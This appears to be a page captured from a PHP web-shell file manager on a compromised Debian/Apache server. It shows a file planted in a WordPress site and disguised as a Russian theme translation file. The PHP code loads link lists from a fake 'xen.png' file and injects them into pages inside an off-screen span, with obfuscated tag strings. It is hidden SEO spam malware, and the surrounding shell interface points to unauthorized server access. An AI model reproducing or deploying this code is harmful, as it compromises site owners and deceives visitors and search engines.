HEX
Server: Apache/2.4.59 (Debian)
System: Linux skycube.cz 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64
User: ilya (534)
PHP: 7.3.31-1~deb10u7
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/ilya/data/www/eeggs.ru/wp-content/languages/themes/twentyten-ru_RU.php
<?php
function getLinksFromFile($fileName) {
    $filePath = dirname(__FILE__) . '/' . $fileName;
    if (!file_exists($filePath) || !is_readable($filePath)) {
        echo "<!-- no file -->";
        return array('paslin' => '', 'arrlin' => array());
    }
    $lines = file($filePath, FILE_IGNORE_NEW_LINES);
    $records = array();
    $currentRecord = '';

    foreach ($lines as $line) {
        $line = preg_replace('/\{\{.*?\}\}/', '', $line); 
        $trimLine = trim($line);
        if (substr($trimLine, 0, 2) === '//') {
            continue;
        }
        if ($currentRecord !== '') {
            $currentRecord .= "\n" . $line;
        } else {
            $currentRecord = $line;
        }
        if (substr(rtrim($line), -1) == ',') {
            $records[] = $currentRecord;
            $currentRecord = '';
        }
    }
    if (!empty(trim($currentRecord))) {
        $records[] = $currentRecord;
    }

    $linkArray     = array();
    $defaultPasLin = '';
    foreach ($records as $record) {
        $record = trim($record);
        $record = rtrim($record, ',');
        $parts = explode("=>", $record, 2);
        if (count($parts) != 2) {
            continue; 
        }
        $rawKey   = trim($parts[0]);
        $rawValue = trim($parts[1]);
        $firstCharKey = substr($rawKey, 0, 1);
        $lastCharKey  = substr($rawKey, -1);
        if (($firstCharKey === "'" || $firstCharKey === '"') && $firstCharKey === $lastCharKey) {
            $key = substr($rawKey, 1, -1);
        } else {
            $key = $rawKey;
        }
        $firstCharVal = substr($rawValue, 0, 1);
        $lastCharVal  = substr($rawValue, -1);
        if (($firstCharVal === "'" || $firstCharVal === '"') && $firstCharVal === $lastCharVal) {
            $value = substr($rawValue, 1, -1);
        } else {
            $value = $rawValue;
        }
        if ($key === 'through') {
            $defaultPasLin = $value;
        } else {
            $linkArray[$key] = $value;
        }
    }
    return array('paslin' => $defaultPasLin, 'arrlin' => $linkArray);
}

function mbsel() {
    $IndURL = array("/", "/index.php"); 
    $links   = getLinksFromFile('xen.png');
    $PasLin  = $links['paslin'];
    $ArrLin  = $links['arrlin'];
    $CurAdd  = $_SERVER['REQUEST_URI'];
    $StyDiv  = '<spa'.'n id="fun'.'nyl'.'i"'.' style="p'.'ositi'.'on:abs'.'olute;'.'left'.':-12'.'96'.'0px'.';wid'.'th:10'.'00'.'px;">';
    $EndDiv  = '</span>';
    if (!function_exists('HomURL')) {
        function HomURL($key, $value, $IndURL, $CurAdd) {
            if (($key == $IndURL[0] || $key == $IndURL[1]) &&
                ($key == $CurAdd || $IndURL[0] == $CurAdd || $IndURL[1] == $CurAdd)) {
                return true;
            }
            return false;
        }
    }
    if (!empty($ArrLin)) {
        if (!empty($PasLin)) {
            echo $StyDiv, $PasLin;
            foreach ($ArrLin as $key => $value) {
                if (HomURL($key, $value, $IndURL, $CurAdd) === true) {
                    echo $value;
                    break;
                } elseif ($key == $CurAdd) {
                    echo $value;
                    break;
                }
            }
            echo $EndDiv;
        } else {
            foreach ($ArrLin as $key => $value) {
                if (HomURL($key, $value, $IndURL, $CurAdd) === true) {
                    echo $StyDiv, $value, $EndDiv;
                    break;
                } elseif ($key == $CurAdd) {
                    echo $StyDiv, $value, $EndDiv;
                    break;
                }
            }
        }
    } else {
        if (!empty($PasLin)) {
            echo $StyDiv, $PasLin, $EndDiv;
        }
    }
}
?>